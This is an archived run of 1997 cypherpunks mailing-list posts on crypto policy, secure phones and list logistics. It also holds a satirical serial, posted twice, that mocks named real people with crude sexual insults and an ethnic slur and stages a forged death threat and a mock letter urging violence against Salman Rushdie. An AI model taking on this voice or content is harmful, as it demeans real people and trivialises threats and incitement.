Subject: Re: (Fwd) Cuban terrorist used encrypted phone (fwd)
In-Reply-To: <199709161555.KAA12969@bitstream.net>
Message-ID: <v03102800b0446b882ab8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:36 AM -0700 9/16/97, Charles Anthony wrote:
>Date: Tue, 16 Sep 1997 10:31:46 -0400
>To: fight-censorship@vorlon.mit.edu
>From: Scott Carr <scarr@bgnet.bgsu.edu>
>Subject: Cuban terrorist used encrypted phone
>Sender: owner-fight-censorship@vorlon.mit.edu
>
>   I just heard this on CNN.  Apparently, the Cuban government has arrested
>an alleged terrorist  for several hotel bombings.  They clain he was hired
>by Anti-Castro forces in the US.  Now, for the relavant part for the list;

Ah, but he is not a "terrorist," then. Being hired by anti-Castro forces in
the United States automatically makes him a "freedom fighter." He's only a
terrorist if he works for Oceania, er, Eastasia, er, whomever we don't
currently like.

Had he blown up a Cuban airliner, as CIA-supported forces did a while back,
he would still be a freedom fighter. Had he sent a package of pamphlets to
Hamas to aid in their struggle against the Zionist occupiers, he would be a
terrorist.

Is it clear now?

>the Cubans also claim to have tapes of encrypted telephone conversations
>between the bomber and his backers.  I do not know if the tapes are in the
>clear of not.
>   Nice to know that law enforcement can still make arrests even when
>nasty, bad, encryption is being used.  I wonder if the Cubans asked the US
>Governemnt for any keys....
>
>   (I wonder if there had been escrowed keys, if the US Government would
>have given them to Cuba.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Wed, 17 Sep 1997 00:31:51 +0800
To: cypherpunks@toad.com
Subject: (Fwd) Cuban terrorist used encrypted phone (fwd)
Message-ID: <199709161555.KAA12969@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain



Date: Tue, 16 Sep 1997 10:31:46 -0400
To: fight-censorship@vorlon.mit.edu
From: Scott Carr <scarr@bgnet.bgsu.edu>
Subject: Cuban terrorist used encrypted phone
Sender: owner-fight-censorship@vorlon.mit.edu

   I just heard this on CNN.  Apparently, the Cuban government has arrested
an alleged terrorist  for several hotel bombings.  They clain he was hired
by Anti-Castro forces in the US.  Now, for the relavant part for the list;
the Cubans also claim to have tapes of encrypted telephone conversations
between the bomber and his backers.  I do not know if the tapes are in the
clear of not.
   Nice to know that law enforcement can still make arrests even when
nasty, bad, encryption is being used.  I wonder if the Cubans asked the US
Governemnt for any keys....

   (I wonder if there had been escrowed keys, if the US Government would
have given them to Cuba.)

----- End of forwarded message from Scott Carr -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 17 Sep 1997 00:21:18 +0800
To: cypherpunks@toad.com
Subject: Re: US dissident in Sweden
Message-ID: <199709161557.IAA08349@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Date:          Mon, 15 Sep 1997 18:51:46 -0700
> To:            Asgaard <asgaard@cor.sos.sll.se>, cypherpunks@toad.com
> From:          Martin Minow <minow@apple.com>
> Subject:       Re: US dissident in Sweden
> Reply-to:      Martin Minow <minow@apple.com>

> At 2:06 AM +0200 9/16/97, Asgaard wrote:
> >The Dagens Nyheter reported yesterday that a US citizen,
> >Mr Ritt Goldstein, is in Sweden asking for political asylum.
> ...
> >The latest crypto policy news here says that Sweden will not
> >go along will mandatory GAK.  ...
> 
> I wouldn't count on Sweden as a haven for strong crypto or,
> in particular, untraceable anonymity. Also, the Swedish national
> police have quite a few skeletons in their closet with respect
> to personal integrity (look for references to IB, the
> "Information Bureau" or read the entire series of Sjovall/Wahloo
> "Martin Beck" novels.)
 
> Martin Minow
> minow@apple.com

It's hard to call; the Swedes do have an independent streak, at least 
at the national level. They're not in NATO, and have an independent 
defence, like Switzerland. They maintained (with mixed success) 
neutrality during WW2.

When I lived there (65-68', I was a kid), there was a strong and
popular anti-American sentiment, mostly based in opposition to
the Vietnam war. US deserters were given asylum, and I was taught to
identify myself as Canadian if the situation seemed appropriate (the
US embassy was bombed during my stay - made a mess of the front
hallway).

Peter Trei
trei@process.com

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 17 Sep 1997 04:34:46 +0800
To: cypherpunks@toad.com
Subject: Cool high-tech toys -- the benefits of being press
Message-ID: <Pine.GSO.3.95.970916125925.12245A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



(Too bad I can't go -- unless someone wants to give me a ride to the
"night demonstration" --Declan)

	All Day. MILITARY DEMONSTRATIONS - The Defense Department hosts a
media day at the Force Protection Equipment Demonstration at Quantico,
featuring exhibits more than 400 commercial-off-the-shelf (COTS) force
protection and security products.
	Highlights:
	9 a.m. to 4 p.m. Interactive and static displays.
	9:30 a.m. Overview briefing.
	12:30 p.m. Buses depart airfield site for blast mitigation
demonstration at C-3 Demo range, and ballistics and non-lethal weapons
demonstrations at Range 3A, with return to airfield at 4:30 p.m.
	7:30-8:30 p.m. Night demonstration of infrared imaging, laser
devices and illumination equipment at the Murphy Demo Area, with
transportation from the airfield at 7 p.m., with return at 9:30 p.m.
	Location: Quantico Marine Base, Quantico, Va.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 17 Sep 1997 04:32:22 +0800
To: cypherpunks@Algebra.COM
Subject: Toad.com is *not* the best choice to subscribe to!
Message-ID: <v03102802b04498cc7eb2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I just spoke (on a 3DES secure phone--more on this later) to a friend, and
happened to mention some posts on the list. He hadn't seen them. Turns out
he's subscribed to cypherpunks@toad.com, and that site does not get traffic
from the distributed sites.

We've known this, but it bears repeating.

Whenever I see "cypherpunks@toad.com" in a message I'm replying to, I
change the "toad" to "algebra" (shorter than the other choices). So anyone
subscribed to the toad.com address is obviously not seeing the bulk of the
traffic going to algebra.com, cyberpass.net, and ssz.com.

Unless toad.com wants to be part of the distributed system, it just ain't
the best place to subscribe to.

In other news, my Communication Security Corporation GSP8191 secure phone,
with 3DES (168 bits, keys negotiated with D-H, Johnson noise used to
randomize), works extremely well. A very slight hint of an echo, but almost
perfect voice fidelity.

This is from our own Eric Blossom, of course, and is being sold at his Web
site, www.comsec.com.

Very impressive.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ERIC HUGHES <hugh0015@algonquinc.on.ca>
Date: Wed, 17 Sep 1997 02:12:53 +0800
To: cypherpunks@toad.com
Subject: Telephone bugging devices
Message-ID: <341EC69A.7909@algonquinc.on.ca>
MIME-Version: 1.0
Content-Type: text/plain



I was wondering if you can give me infomation on how and where i can get
a non visible telephone bugging device. Cost as well.

Or a room bugging  device non visible as long as it can only be detected
by detecters





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 17 Sep 1997 05:47:06 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Court proceedings under new SAFE act
In-Reply-To: <3.0.2.32.19970911212546.0069c654@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970916141329.12245G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 11 Sep 1997, Lucky Green wrote:

> >secret court that has never denied a request for a wiretap) jurisdiction;
> >they can issue ex parte orders giving police access to plaintext. Also
> >lets U.S. government coordinate with other governments in doing such.
> 
> Is there any way of finding out the names of the judges sitting on the FISA
> court?

Not that I know of, though I do know that U.S. District Court Judge Joyce
Green served on the FISA court for seven years.

Background: The 1978 Foreign Intelligence Survelliance Act established a
special, secret court of current Federal district court judges. They
approve warrants in secret hearings, with no opposing attorneys present.
The judges are required to be available 24 hours a day for emergency
hearings. Some happen in the middle of the night in the judge's home.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 17 Sep 1997 04:47:02 +0800
To: cypherpunks@toad.com
Subject: InfoWar 13 / TEXT
Message-ID: <341EEAFD.74EC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Subject: Anonymous TruthMailer Abuse
     Electronic Forgery Foundation

----------------------------------------------------------------------------

                    Subject: Anonymous TruthMailer Abuse
----------------------------------------------------------------------------

To: billg@microsoft.com
From: TruthMailer <tm@dev.null>

X-Mailer: WinSock Remailer Version ALPHA1.3B

X-Comments: "I am not an asshole, but I play one in real life."
X-Comments: "I don't make it up. I just make it better."

X-Comments: This message is NOT from TruthMonger.
X-Comments: It was sent by an automated anonymous asshole
X-Comments: through a Cypherpunk remailer under the alleged
X-Comments: auspices of the Electronic Forgery Foundation.

X-Comments: Note: Send any complaints about abuse of this remailer
X-Comments: to the person most concerned about your rights and
X-Comments: freedoms. (Hint: It's a "mirror" site.)

X-Remailer-Setup: Maximum Message Size -- INFINITE
X-Remailer-Setup: Reordering is RANDOM
X-Remailer-Setup: Subject Header FORGED
X-Remailer-Setup: Logging RIDICULOUS Messages
X-Remailer-Setup: No STRONGHOLD messages accepted

Subject: !!! DEATH THREAT !!!

William,
I have taken the liberty of sending a death threat to someone and
forging your name and digiture to it. (No need to thank me, I just
like to help out.)
I don't usually take this kind of arbitrary action (unless I'm
running low on meds) but I thought drastic measures were called for
when I came across evidence that your name is about to be sullied and
your business endangered, due to a plot between a psychotic lunatic
and an employee of yours who is an agent for a secret organization
which has been responsible for inspiring and supporting a wide range
of anti-technological terrorists, including the UnaBomber and the
genius behind the PS/2.

Who are these people, you ask? (I have extremely good ears.)
Bubba Rom Dos, TruthMonger and Blanc Weber.
All card-carrying members of the Circle of Eunuchs.

I have long suspected that a series of underground manuscripts titled
'The True Story of the InterNet' had, as their ultimate aim, the total
destruction of MicroSoft.

Sure enough, in Part III of the series, "InfoWar," the author, known as
TruthMonger, suggests:
~~~
"Video_World, and TV_World. Those were the titles we had put to Part II
of 'The True Story of the InterNet.' But that was before the censorship
crisis on the CypherPunks mailing list, when we saw the sticky, tangled
tentacles that lay at the root of the World Wide Web.
"And before Gomez began to build his Evil Empire on the cornerstone of
WebTV."
~~~

Part II, "WebWorld & the Mythical Circle of Eunuchs," reveals the
role played by Blanc Weber in her subversive intentions to help in the
destruction of MicroSoft, with the goal of promoting her own secret
technologies.
~~~
Apparently, HydroCube storage technology had been in existence for some
time before its official announcement by BabyGates Technology. The Kid,
as she was called, had been the daughter, lover, or employee of the
richest man in the world, depending on which version of this era you
believed. Her star had risen, even as Microsoft's star had begun to
fall, mostly as a result of her development of the HydroCube, with its
nearly infinite data-storage capacity.
...
And now, Jonathan had reason to believe that the Kid had actually been
a member of the CypherPunks, masquerading under the pseudonym of
Blanc Weber.
~~~

So, as you can plainly see, it is only a matter of time before these
self-proclaimed Freeh->dumb Fighters decide to begin openly attacking
you with slanderous truths about yourself, Gomez and the Dark Allies,
the lady midget wrestler and the bed full of chickens, as well as the
role of Susan Canizales as your dietary aide.

Yes, I know...you are shaking in your boots at the prospect of these
facts coming out (complete with 4"x8" color graphics), but there *are*
actions you can take to thwart these dire possibilities.
Fortunately, Part III is being released on the cypherpunks@toad.com
mailing list, under the TruthMonger multi-user persona, who has formed
a secret alliance with the Cypherpunks' distributed persona, Anonymous.
Thus, if you act quickly, you might be able to strike first, writing
your own chapter of Part III and sending it to the Cypherpunks list,
anonymously, copyrighting it as "TruthMonger <billg@microsoft.com>"
in order to piss in the face of the known list forger who is known to
be responsible for many of the chapters submitted. (Then you could sue
the bastard!)

In *your* chapter, you could give yourself any role you desired in the
history, present and future of humankind.
My suggestion would be to beat these rapscallions to the punch by using
the Taoist tactic of creating 'yourself' as an evil creature of your
own design--far more diabolical than even your enemies could imagine.

The Circle of Eunuchs would then be honor-bound, as cross-matchers
(under NLP theology), to assign you a role as a secret hero in a later
chapter, thus saving you the embarrassment of having to blow your own
horn to keep the Universe in balance.
Sameer, president of C2Net, is reportedly under heavy medication
by his physician as the result of the stress of trying to think of
something positive he can say about himself and his organization,
under the savage attacks against his corporation and his private person
by these evil conspirators.

In conclusion, I would add that it is traditional to reward/torture
the masochistic, paranoid schizophrenic who supplies many of the more
bizarre of the CoE's conspiracy theories, by adding some subtle hint
pointing to some future event in history, based on your own inside
knowledge. (The point being to make it glaringly obvious to crazed
conspiracy theorists, but something that will make them look like a
'lunatic' if they try pointing it out to normal people.)
An AT&T employee once made a prophetic claim in the series to an event
which proved to be true in concept, way off-base in details, except that
he inserted a reference to the Message ID number of the future email
he foresaw, and then released the announcement months later with a
Message ID that was the reverse of the foretold one...

Beware of white lipstick,
A. Fiend
(uuhhh...friend.)

Copyright "Martin Minow <minow@apple.com>
"Are you a man, or a Minnow?"
----------------------------------------------------------------------------

                        Electronic Forgery Foundation
----------------------------------------------------------------------------

The wild-eyed, disheveled figure sat hunched over the keyboard of his
laptop, frantically seeking meaning in the words that lay before him.

"Hello, Dimitri. How are you feeling today?"

The mad doctor furtively lowered the screen on his laptop, hiding his
important work from the prying eyes of his patient.

"Hello, Igor." Dr. Dimitri Vulis, KOTM said, eyeing the patient
suspiciously.

"Please, call me Igor." the Kremlin spy replied, causing Dr. Vulis to
quickly search his mind and memory to recall their conversation to this
point. Nothing there...

Igor Chudov eyed the evil Doctor's laptop suspiciously, raising his eyebrows
ever so slightly, but enough so that Dimitri could tell exactly what he was
thinking. He could even tell what the patient's next words would be, in
regard to his excess use of power in the 'Home' to run his spambots.

Igor, speaking softly, then raising his voice as he leaned closer and closer
to Dr. Vulis, asked, "We wouldn't be writing a letter about our good friend,
SAMEER, would we?"

Dimitri jumped up in terror, clutching the laptop to his breast. They knew!
They knew about his regression into his paranoid C2Net conspiracy theories.
Now they would punish him again, possibly even going so far as to make him
install the Windows operating system on another of his UNIX boxes. Dimitri
steeled himself for the patient's verdict.

Igor relaxed, sat down on the edge of the table, and said, casually, "Just
kidding, Dimitri. I know that you're working on your EFF material."
Dimitri eyed Igor suspiciously, but Igor merely continued, "Don't worry
Dimitri, I am in favor of your creation of the Electronic Forgery
Foundation." He couldn't resist adding, "Very clever of you to plant all of
that evidence pointing toward Toto as the source of the plethora of
forgeries to the CypherPunks list."

A shit-eating grin spread across Dr. Vulis' face as he realized that, this
time, he had been caught for doing something he wouldn't be punished for.
Rewarded, perhaps?
Cautiously, Dr. Vulis asked Igor, "So can I have more medication? All of the
others in treatment here are getting better drugs than me, because they are
patients being treated by doctors. Why am I the only doctor being treated by
a patient?"

"Now Dimitri," Igor shook his head, negatively, "you are exaggerating again.
You know that John Young and Robert Hettinga are the only two here who are
getting better drugs than you, and it is only occasionally, when they share
a room, and then only in order to increase their pleasure when they engage
in...uuhhh...CypherPunk activities."

Dimitri got angry, as Igor knew would result from feeding his fantasies, "I
know what you're talking about!" Dimitri always got...uuhhh...'excited', when
this subject came up.
"They're sucking each other's cocks! This place is full of cocksuckers, and
the biggest one of all is cocksucker John <spit> Gilmore <fart>!"

Igor enjoyed getting Dimitri worked up into a lather before leaving him to
continue with his openly-secret activities. As he closed and locked Dr.
Vulis' door, he shouted to him, "I'll have Ray Arachelian look in on you a
little later."

"Keep that murdering Armenian bastard away from me!" Dr. Vulis screamed in
terror, before becoming distracted by a passing fly and forgetting what it
was that he was so angry about.
No matter. He would get mad about something else, instead. After all, he was
a Freedom Knight. Being an angry, aggressive activist fighting valiantly
against petty nuisances that most people just ignore was a Freedom Knight
tradition.
Dr. Vulis opened up his laptop and bent over to attend to his important
work, once again.

Dimitri checked two names off of his list. The President, and the Big Kid,
BillyG.

Now that he had set up his unwitting shill, Toto...? the Lunatic, he reminded
himself..., by sending veiled threats to two of the most powerful figures in
the Freeh World, he would now begin to close his evil, circuitous trap by
turning his attention to pissing off other world leaders, with ? the Lunatic
acting as the exposed target, once again.
He had pissed off Apple Computers, as well, by attributing the anonymous
email to BillyG to an Apple employee. Now he would divert suspicion 'from'
himself by attributing this chapter of Part III 'to' himself, so that
everyone would think that it must surely be another forgery by ? the
Lunatic.

~~~
::
Anon-To: saddam_hussein@iraq.gov
Subject: Salman Rushdie

Dear Saddam,

Salman Rushdie is in hiding in Bienfait, Saskatchewan, living under an
assumed name after having had radical plastic surgery to disguise his
appearance.

He is trying to redeem himself with Allah by building a nuclear bomb with
which to nuke D.C., but he is inadequate for the task. However, do you
remember Lee Harvey Oswald? If not, then surely you are aware of Timothy
McVeigh...

~~~
Copyright "Anonymous <dlv@bwalk.dm.com>"
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')
----------------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 17 Sep 1997 04:52:32 +0800
To: cypherpunks@toad.com
Subject: InfoWar 13 / HTML
Message-ID: <341EEB40.2288@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Subject: Anonymous TruthMailer Abuse

Electronic Forgery Foundation


Subject: Anonymous TruthMailer
Abuse


To: billg@microsoft.com
From: TruthMailer <tm@dev.null>

X-Mailer: WinSock Remailer Version ALPHA1.3B

X-Comments: "I am not an asshole, but I play one in real
life."
X-Comments: "I don't make it up. I just make it better."

X-Comments: This message is NOT from TruthMonger.
X-Comments: It was sent by an automated anonymous asshole 
X-Comments: through a Cypherpunk remailer under the alleged
X-Comments: auspices of the Electronic Forgery Foundation.

X-Comments: Note: Send any complaints about abuse of this remailer

X-Comments: to the person most concerned about your rights and

X-Comments: freedoms. (Hint: It's a "mirror" site.)

X-Remailer-Setup: Maximum Message Size -- INFINITE
X-Remailer-Setup: Reordering is RANDOM
X-Remailer-Setup: Subject Header FORGED
X-Remailer-Setup: Logging RIDICULOUS Messages
X-Remailer-Setup: No STRONGHOLD messages accepted

Subject: !!! DEATH THREAT !!!

William,
I have taken the liberty of sending a death threat to someone
and 
forging your name and digiture to it. (No need to thank me, I
just 
like to help out.)
I don't usually take this kind of arbitrary action (unless I'm

running low on meds) but I thought drastic measures were called
for
when I came across evidence that your name is about to be sullied
and 
your business endangered, due to a plot between a psychotic lunatic

and an employee of yours who is an agent for a secret organization

which has been responsible for inspiring and supporting a wide
range
of anti-technological terrorists, including the UnaBomber and
the 
genius behind the PS/2.

Who are these people, you ask? (I have extremely good ears.) 

Bubba Rom Dos, TruthMonger and Blanc Weber.
All card-carrying members of the Circle of Eunuchs.

I have long suspected that a series of underground manuscripts
titled
'The True Story of the InterNet' had, as their ultimate aim, the
total
destruction of MicroSoft. 

Sure enough, in Part III of the series, "InfoWar," the
author, known as
TruthMonger, suggests:
~~~
"Video_World, and TV_World. Those were the titles we had
put to Part II 
of 'The True Story of the InterNet.' But that was before the censorship

crisis on the CypherPunks mailing list, when we saw the sticky,
tangled 
tentacles that lay at the root of the World Wide Web.
"And before Gomez began to build his Evil Empire on the cornerstone
of
WebTV."
~~~

Part II, "WebWorld & the Mythical Circle of Eunuchs,"
reveals the 
role played by Blanc Weber in her subversive intentions to help
in the
destruction of MicroSoft, with the goal of promoting her own secret
technologies. 
~~~
Apparently, HydroCube storage technology had been in existence
for some 
time before its official announcement by BabyGates Technology.
The Kid, 
as she was called, had been the daughter, lover, or employee of
the 
richest man in the world, depending on which version of this era
you
believed. Her star had risen, even as Microsoft's star had begun
to 
fall, mostly as a result of her development of the HydroCube,
with its 
nearly infinite data-storage capacity. 
...
And now, Jonathan had reason to believe that the Kid had actually
been 
a member of the CypherPunks, masquerading under the pseudonym
of 
Blanc Weber.
~~~

So, as you can plainly see, it is only a matter of time before
these
self-proclaimed Freeh->dumb Fighters decide to begin openly
attacking
you with slanderous truths about yourself, Gomez and the Dark
Allies,
the lady midget wrestler and the bed full of chickens, as well
as the 
role of Susan Canizales as your dietary aide.

Yes, I know...you are shaking in your boots at the prospect of
these
facts coming out (complete with 4"x8" color graphics),
but there *are*
actions you can take to thwart these dire possibilities.
Fortunately, Part III is being released on the cypherpunks@toad.com

mailing list, under the TruthMonger multi-user persona, who has
formed
a secret alliance with the Cypherpunks' distributed persona, Anonymous.

Thus, if you act quickly, you might be able to strike first, writing

your own chapter of Part III and sending it to the Cypherpunks
list,
anonymously, copyrighting it as "TruthMonger <billg@microsoft.com>"

in order to piss in the face of the known list forger who is known
to
be responsible for many of the chapters submitted. (Then you could
sue
the bastard!)

In *your* chapter, you could give yourself any role you desired
in the
history, present and future of humankind.
My suggestion would be to beat these rapscallions to the punch
by using
the Taoist tactic of creating 'yourself' as an evil creature of
your
own design--far more diabolical than even your enemies could imagine.

The Circle of Eunuchs would then be honor-bound, as cross-matchers

(under NLP theology), to assign you a role as a secret hero in
a later
chapter, thus saving you the embarrassment of having to blow your
own
horn to keep the Universe in balance.
Sameer, president of C2Net, is reportedly under heavy medication

by his physician as the result of the stress of trying to think
of 
something positive he can say about himself and his organization,

under the savage attacks against his corporation and his private
person
by these evil conspirators.

In conclusion, I would add that it is traditional to reward/torture

the masochistic, paranoid schizophrenic who supplies many of the
more
bizarre of the CoE's conspiracy theories, by adding some subtle
hint
pointing to some future event in history, based on your own inside

knowledge. (The point being to make it glaringly obvious to crazed

conspiracy theorists, but something that will make them look like
a 
'lunatic' if they try pointing it out to normal people.)
An AT&T employee once made a prophetic claim in the series
to an event
which proved to be true in concept, way off-base in details, except
that
he inserted a reference to the Message ID number of the future
email
he foresaw, and then released the announcement months later with
a
Message ID that was the reverse of the foretold one...

Beware of white lipstick,
A. Fiend
(uuhhh...friend.)

Copyright "Martin Minow <minow@apple.com>

"Are you a man, or a Minnow?"



Electronic Forgery Foundation


The wild-eyed, disheveled figure sat hunched over the keyboard
of his laptop, frantically seeking meaning in the words that lay
before him.

"Hello, Dimitri. How are you feeling today?"

The mad doctor furtively lowered the screen on his laptop, hiding
his important work from the prying eyes of his patient.

"Hello, Igor." Dr. Dimitri Vulis, KOTM said,
eyeing the patient suspiciously.

"Please, call me Igor." the Kremlin spy replied,
causing Dr. Vulis to quickly search his mind and memory to recall
their conversation to this point. Nothing there...

Igor Chudov eyed the evil Doctor's laptop suspiciously, raising
his eyebrows ever so slightly, but enough so that Dimitri could
tell exactly what he was thinking. He could even tell what the
patient's next words would be, in regard to his excess use of
power in the 'Home' to run his spambots.

Igor, speaking softly, then raising his voice as he leaned closer
and closer to Dr. Vulis, asked, "We wouldn't be writing
a letter about our good friend, SAMEER, would we?"

Dimitri jumped up in terror, clutching the laptop to his breast.
They knew! They knew about his regression into his paranoid C2Net
conspiracy theories. 
Now they would punish him again, possibly even going so far as
to make him install the Windows operating system on another of
his UNIX boxes. Dimitri steeled himself for the patient's verdict.

Igor relaxed, sat down on the edge of the table, and said, casually,
"Just kidding, Dimitri. I know that you're working on
your EFF material."
Dimitri eyed Igor suspiciously, but Igor merely continued,
"Don't worry Dimitri, I am in favor of your creation of
the Electronic Forgery Foundation." He couldn't resist
adding, "Very clever of you to plant all of that evidence
pointing toward Toto as the source of the plethora of forgeries
to the CypherPunks list."

A shit-eating grin spread across Dr. Vulis' face as he realized
that, this time, he had been caught for doing something he wouldn't
be punished for. Rewarded, perhaps? 
Cautiously, Dr. Vulis asked Igor, "So can I have more
medication? All of the others in treatment here are getting better
drugs than me, because they are patients being treated by doctors.
Why am I the only doctor being treated by a patient?"

"Now Dimitri," Igor shook his head, negatively,
"you are exaggerating again. You know that John Young
and Robert Hettinga are the only two here who are getting better
drugs than you, and it is only occasionally, when they share a
room, and then only in order to increase their pleasure when they
engage in...uuhhh...CypherPunk activities."

Dimitri got angry, as Igor knew would result from feeding his
fantasies, "I know what you're talking about!" Dimitri
always got...uuhhh...'excited', when this subject came up.

"They're sucking each other's cocks! This place
is full of cocksuckers, and the biggest one of all is cocksucker
John <spit> Gilmore <fart>!"

Igor enjoyed getting Dimitri worked up into a lather before leaving
him to continue with his openly-secret activities. As he closed
and locked Dr. Vulis' door, he shouted to him, "I'll have
Ray Arachelian look in on you a little later."

"Keep that murdering Armenian bastard away from me!"
Dr. Vulis screamed in terror, before becoming distracted by
a passing fly and forgetting what it was that he was so angry
about.
No matter. He would get mad about something else, instead. After
all, he was a Freedom Knight. Being an angry, aggressive activist
fighting valiantly against petty nuisances that most people just
ignore was a Freedom Knight tradition.
Dr. Vulis opened up his laptop and bent over to attend to his
important work, once again.

Dimitri checked two names off of his list. The President, and
the Big Kid, BillyG.

Now that he had set up his unwitting shill, Toto...? the Lunatic,
he reminded himself..., by sending veiled threats to two of
the most powerful figures in the Freeh World, he would now begin
to close his evil, circuitous  trap by turning his attention to
pissing off other world leaders, with ? the Lunatic acting as
the exposed target, once again.
He had pissed off Apple Computers, as well, by attributing the
anonymous email to BillyG to an Apple employee. Now he would divert
suspicion 'from' himself by attributing this chapter of Part III
'to' himself, so that everyone would think that it must surely
be another forgery by ? the Lunatic.

~~~
::
Anon-To: saddam_hussein@iraq.gov
Subject: Salman Rushdie

Dear Saddam,

  Salman Rushdie is in hiding in Bienfait, Saskatchewan, living
under an assumed name after having had radical plastic surgery
to disguise his appearance.

  He is trying to redeem himself with Allah by building a nuclear
bomb with which to nuke D.C., but he is inadequate for the task.
However, do you remember Lee Harvey Oswald? If not, then surely
you are aware of Timothy McVeigh...

~~~
Copyright "Anonymous <dlv@bwalk.dm.com>"

Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,
14.4Kbps



"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 17 Sep 1997 04:19:23 +0800
To: ERIC HUGHES <hugh0015@algonquinc.on.ca>
Subject: Re: Telephone bugging devices
In-Reply-To: <341EC69A.7909@algonquinc.on.ca>
Message-ID: <199709161946.PAA11536@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <341EC69A.7909@algonquinc.on.ca>, on 09/16/97 
   at 01:49 PM, ERIC HUGHES <hugh0015@algonquinc.on.ca> said:


>I was wondering if you can give me infomation on how and where i can get
>a non visible telephone bugging device. Cost as well.

>Or a room bugging  device non visible as long as it can only be detected
>by detecters

If you are intrested in this type of information you may wish to check out
the Servailance Mailing List. Information about the list is below:


Who are you? What's your specialty and/or interest? Let us know about your
company... What would you like to see on the list? Post it. Let us know...
 Do you have something to contribute? We'd like to hear it... 

We want to know EVERYTHING and ANYTHING about eavesdropping, surveillance,
countersurveillance & privacy related technology, etc... Remember: who,
what, where, when, how & why... we want ALL the details... 

Do you have a question? Post it... A little free time? Help a member...

With the INCREDIBLE brain power on this list, 
someone should have the answer ;-) 

P.S. Don't be a LURKER... Members take the time to post info for us all...
 give something back... Don't just take... Your input/knowledge is
valued...

**************************************************************************
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subject
**************************************************************************
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In the subject field type: subscribe-surveillance list e-mail address
**************************************************************************
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**************************************************************************
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The Surveillance List Owners may Reject any posts that are/contain:

1) Info Unrelated to Eavesdropping, Surveillance or Privacy technology... 
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****************************************************************************
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****************************************************************************
   
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****************************************************************************




***************************************************************************
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of "The Surveillance List"... http://www.thecodex.com/list.html The Nets
FIRST & ONLY list dedicated to Surveillance Technology... "We don't spy on
you... but we DO keep an eye on those that do..."
***************************************************************************


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Real Guy <real_guy@dev.null>
Date: Wed, 17 Sep 1997 05:55:57 +0800
To: cypherpunks@toad.com
Subject: New Developments in Fascist Mind Control
Message-ID: <341EFACC.4223@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



I have some amazing news to report!

  After considerable research, I have developed two technological tools
which can be used to manipulate and control the minds of practically
all living humans.
  One tool serves the purpose of seizing control of the individual's 
attention and putting them into a hypnotic state of consiousness where
